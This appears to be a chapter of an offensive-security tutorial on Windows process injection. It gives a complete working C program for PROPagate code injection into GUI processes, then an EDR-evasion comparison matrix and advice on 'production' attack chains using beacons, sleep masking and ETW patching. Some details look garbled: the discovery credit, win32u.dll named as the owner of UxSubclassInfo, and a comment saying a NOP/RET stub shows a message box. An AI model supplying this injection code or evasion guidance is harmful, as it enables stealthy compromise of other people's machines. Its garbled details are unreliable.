PROPagate Injection
PROPagate (discovered by 0xDEADBEEF / Adam Chester of Countercept in 2018) abuses the Windows GUI subsystem — specifically the SetWindowsHookEx / SetPropA window properties mechanism — to inject and execute code in a remote process that owns a top-level window. Every window in Windows can have a set of named "properties" — arbitrary data attached to the window handle. PROPagate uses an undocumented property called UxSubclassInfo that win32u.dll uses for window subclassing. Overwriting this property with a crafted structure makes the window's message pump call attacker-supplied code at a controlled callback address. No new thread, no APC, no LoadLibrary — just abuse of the window's normal message-processing callback chain. This chapter explains windows subclassing, implements PROPagate, and closes Part 4 with a technique comparison matrix.
Window Properties and Subclassing
Windows GUI: Every window has a "window procedure" (WndProc):
─────────────────────────────────────────────────────────────────────────
HWND hwnd → WndProc function pointer
When a message is sent to hwnd → WndProc is called with the message
WndProc processes it: draws, responds, etc.
Window subclassing (SetWindowSubclass / SetWindowLongPtr):
─────────────────────────────────────────────────────────────────────────
Used by UI frameworks to intercept messages before the original WndProc.
SetWindowSubclass wraps the window by:
1. Saving the original WndProc pointer
2. Replacing WndProc with a new "subclass" function
3. The subclass function processes messages, may call original WndProc
Internal data: win32u.dll stores subclass info in a window PROPERTY
named "UxSubclassInfo" on the window handle.
PROPagate exploits this:
─────────────────────────────────────────────────────────────────────────
1. Find a window handle (HWND) in the target process
2. Read "UxSubclassInfo" property (contains pointer to subclass data)
3. Write crafted subclass data to target's memory:
{
SubclassProc: (pointer to our shellcode),
RefData: NULL,
pfnOrig: (pointer to original WndProc — so we can optionally chain)
}
4. Write the address of this crafted data as the new "UxSubclassInfo" property
using SetPropA(hwnd, "UxSubclassInfo", &crafted_data)
5. TRIGGER: Send a window message to the target window:
SendNotifyMessage(hwnd, WM_SYSCOMMAND, SC_MOVE, 0)
OR: just wait — any UI interaction sends messages to the window
6. The window's message pump processes the message:
→ win32u calls UxSubclassInfo's SubclassProc
→ SubclassProc IS our shellcode
→ Shellcode executes in the context of the target process's GUI threadImplementation
/* propagate_inject.c — PROPagate injection via window subclass property
Works against processes with top-level windows:
explorer.exe (taskbar, desktop)
notepad.exe
any GUI application
Does NOT work against:
Console-only processes (no windows)
Background services (no GUI)
Build:
x86_64-w64-mingw32-gcc -O2 -o propagate.exe propagate_inject.c
*/
#include <windows.h>
#include <stdio.h>
typedef LONG NTSTATUS;
/* UxSubclassInfo structure (win32u.dll internal — Windows 10 layout) */
typedef struct _SUBCLASS_CALL {
PVOID SubclassProc; /* ← window message callback — we overwrite this */
PVOID RefData; /* ← data passed to SubclassProc */
PVOID Unused;
} SUBCLASS_CALL;
typedef struct _SUBCLASS_HEADER {
ULONG_PTR uCalls;
ULONG_PTR uAllocs;
ULONG_PTR uCurrent;
SUBCLASS_CALL SubclassCall[1]; /* array of subclass callbacks */
} SUBCLASS_HEADER;
/* Global: the window we found and the target's PID */
static DWORD g_target_pid = 0;
static HWND g_target_hwnd = NULL;
/* EnumWindows callback — find a window owned by the target process */
static BOOL CALLBACK find_window_callback(HWND hwnd, LPARAM lParam) {
DWORD pid = 0;
GetWindowThreadProcessId(hwnd, &pid);
if (pid == g_target_pid && IsWindowVisible(hwnd)) {
g_target_hwnd = hwnd;
return FALSE; /* stop enumeration */
}
return TRUE; /* continue */
}
static BOOL propagate_inject(DWORD pid) {
g_target_pid = pid;
g_target_hwnd = NULL;
/* Step 1: Find a top-level window owned by the target process */
EnumWindows(find_window_callback, 0);
if (!g_target_hwnd) {
printf("[-] No visible top-level window found for PID %lu\n", pid);
printf(" PROPagate requires a GUI process with visible windows\n");
return FALSE;
}
char window_class[256] = { 0 };
char window_title[256] = { 0 };
GetClassNameA(g_target_hwnd, window_class, sizeof(window_class));
GetWindowTextA(g_target_hwnd, window_title, sizeof(window_title));
printf("[+] Target window: HWND=%p class='%s' title='%s'\n",
g_target_hwnd, window_class, window_title);
/* Step 2: Open the target process for memory operations */
HANDLE hProc = OpenProcess(
PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_VM_READ,
FALSE, pid);
if (!hProc) {
printf("[-] OpenProcess: %lu\n", GetLastError());
return FALSE;
}
/* Step 3: Read the existing "UxSubclassInfo" property from the window
If the window doesn't have this property, it hasn't been subclassed yet.
We can still inject by creating our own subclass info.
*/
HANDLE hProp = GetPropA(g_target_hwnd, "UxSubclassInfo");
printf("[+] Existing UxSubclassInfo: %p\n", hProp);
/* Step 4: Write our shellcode to the target process */
/* For demo: minimal shellcode that pops a message box in the target's context */
unsigned char sc[] = { 0x90, 0x90, 0x90, 0xC3 };
SIZE_T sc_len = sizeof(sc);
LPVOID remote_sc = VirtualAllocEx(hProc, NULL, sc_len,
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProc, remote_sc, sc, sc_len, NULL);
DWORD old; VirtualProtectEx(hProc, remote_sc, sc_len, PAGE_EXECUTE_READ, &old);
printf("[+] Shellcode at %p in target\n", remote_sc);
/* Step 5: Write a crafted SUBCLASS_HEADER to the target
This structure tells win32u's subclass dispatcher what function to call.
*/
SIZE_T header_size = sizeof(SUBCLASS_HEADER);
LPVOID remote_header = VirtualAllocEx(hProc, NULL, header_size,
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
SUBCLASS_HEADER header = { 0 };
header.uCalls = 1; /* 1 subclass registered */
header.uAllocs = 1;
header.uCurrent = 0;
header.SubclassCall[0].SubclassProc = remote_sc; /* ← shellcode address */
header.SubclassCall[0].RefData = NULL;
header.SubclassCall[0].Unused = NULL;
WriteProcessMemory(hProc, remote_header, &header, header_size, NULL);
printf("[+] SUBCLASS_HEADER written to %p\n", remote_header);
/* Step 6: Set the "UxSubclassInfo" property on the target window
SetPropA writes a named property to the window.
We're writing into a DIFFERENT process's window — this works because
window properties can be set by any process with HWND access.
The HWND is a shared kernel object accessible by all processes.
Note: SetPropA's value parameter is the actual data (not a pointer to it).
For UxSubclassInfo, the value IS the pointer to our SUBCLASS_HEADER.
*/
if (!SetPropA(g_target_hwnd, "UxSubclassInfo", (HANDLE)remote_header)) {
printf("[-] SetPropA: %lu\n", GetLastError());
VirtualFreeEx(hProc, remote_header, 0, MEM_RELEASE);
VirtualFreeEx(hProc, remote_sc, 0, MEM_RELEASE);
CloseHandle(hProc);
return FALSE;
}
printf("[+] UxSubclassInfo property set → points to crafted SUBCLASS_HEADER\n");
/* Step 7: Trigger the window's message pump to process a message
SendNotifyMessage sends a message without waiting for the result.
WM_SYSCOMMAND with SC_MOVE is a low-suspicion window message.
Any message that triggers the subclass dispatch will work.
When the target process's GUI thread processes this message:
1. win32u dispatches to the subclass chain
2. Reads UxSubclassInfo → our crafted SUBCLASS_HEADER
3. Calls SubclassCall[0].SubclassProc = remote_sc
4. Our shellcode executes!
*/
SendNotifyMessage(g_target_hwnd, WM_SYSCOMMAND, SC_MOVE, 0);
printf("[+] Message sent → shellcode should execute in target's GUI thread\n");
Sleep(1000); /* brief wait for processing */
/* Restore original property (cleanup) */
SetPropA(g_target_hwnd, "UxSubclassInfo", hProp);
printf("[+] Property restored\n");
CloseHandle(hProc);
return TRUE;
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s [PID]\n", argv[0]);
printf("Target must be a GUI process with a visible top-level window.\n");
return 1;
}
return propagate_inject((DWORD)atol(argv[1])) ? 0 : 1;
}
Part 4 Summary — Injection Technique Comparison Matrix
Technique │ New thread? │ APC? │ Disk file? │ EDR visibility │ Reliability
──────────────────┼─────────────┼──────┼────────────┼────────────────┼──────────────────────
Ch24 DLL inject │ YES (CRT) │ NO │ YES │ HIGH │ HIGH (straightforward)
Ch25 SC inject │ YES (CRT) │ NO │ NO │ HIGH │ HIGH
Ch26 Mapping inj │ YES (NTCTE) │ NO │ NO │ MEDIUM-HIGH │ HIGH
Ch27 Hollowing │ NO (reuse) │ NO │ YES (host) │ MEDIUM │ HIGH
Ch28 Mod stomp │ YES (CRT) │ NO │ NO (sc) │ MEDIUM-HIGH │ HIGH
Ch29 Reflective │ YES (CRT) │ NO │ NO │ HIGH │ HIGH
Ch30 APC inj │ NO │ YES │ NO │ MEDIUM │ MEDIUM (alertable?)
Ch31 Early Bird │ NO (new proc)│ YES │ NO (sc) │ MEDIUM │ HIGH (new proc init)
Ch32 Thread hijack│ NO │ NO │ NO │ LOW-MEDIUM │ MEDIUM (cleanup risk)
Ch33 NtCTE direct │ YES (NTCTE) │ NO │ NO │ MEDIUM │ HIGH
Ch34 Doppelgäng │ NO (new proc)│ NO │ NO (TxF) │ LOW (PATCHED) │ DEAD (Win10 RS3+)
Ch35 Ghosting │ NO (new proc)│ NO │ NO (del) │ LOW-MEDIUM │ PARTIAL (Win11 22H2+)
Ch36 Pool Party │ NO │ NO │ NO │ LOW │ LOW-MEDIUM (version dep)
Ch37 PROPagate │ NO │ NO │ NO │ LOW │ MEDIUM (requires GUI)
Recommended for production use (2024):
Initial injection: Early Bird APC (Ch31) + Reflective DLL (Ch29)
Long-term beacon: Module stomping with sleep masking (Ch28 + Gargoyle)
Advanced evasion: Direct syscalls (Ch33) + ETW patching (Part 5)
Novel technique: Pool Party (Ch36) for processes with thread pools
Questions & Answers
Why does PROPagate use the "UxSubclassInfo" property specifically?
UxSubclassInfo is the internal property that win32u.dll uses to store subclassing information for SetWindowSubclass (the modern window subclassing API). When win32u receives a window message, it checks for the UxSubclassInfo property to determine if the window has been subclassed. If the property is set, win32u's message dispatch code calls the SubclassProc listed in the SUBCLASS_HEADER structure. By overwriting this property to point to attacker-controlled memory, any window message causes win32u to call the attacker's "SubclassProc" (the shellcode). The property is chosen because: (1) it's already used by legitimate code for a similar callback pattern, (2) it's triggered by normal window messages (nothing unusual needs to happen), and (3) the callback is called in the target process's GUI thread context. Other window properties don't have this callback dispatch behavior built into win32u.
Can PROPagate inject into background services or non-GUI processes?
No — PROPagate fundamentally requires the target process to have a window (HWND) and a running message pump. Background Windows services (svchost.exe instances hosting services, etc.) typically run without any GUI windows and without a message pump. There's no HWND to attach the UxSubclassInfo property to, and no message dispatch loop to trigger the callback. The technique specifically targets user-facing GUI processes: browsers, Office apps, Explorer, custom business applications, etc. For non-GUI processes, other injection techniques (APC, thread hijacking, section mapping) are necessary. This is actually a stealth advantage in some ways: injecting into a known GUI application (browser, Office) may be less suspicious than injecting into a service, since GUI processes are expected to receive messages and execute GUI callbacks.
How would you choose between these 14 injection techniques for a real engagement?
The choice depends on three constraints: (1) Target process type — GUI processes enable PROPagate; new processes enable Early Bird; processes with thread pools enable Pool Party. (2) Windows version — Doppelgänging is dead; Ghosting is partially patched; direct syscall numbers change per build. (3) EDR sophistication — against a basic EDR, shellcode injection (Ch25) with encrypted payload is sufficient. Against an advanced EDR with ETW-TI, you need techniques that generate fewer kernel telemetry events (Pool Party, Thread Hijacking) combined with direct syscalls to avoid ntdll hooks. In practice: start with Early Bird APC (Ch31) using a reflective DLL payload (Ch29) with direct syscalls (Ch33) — this combination addresses the most common detection layers. For persistence, module stomping with sleep masking (Ch28) keeps the beacon hidden during idle periods. Pool Party (Ch36) and PROPagate (Ch37) are specialized choices when the simpler techniques are specifically blocked or monitored.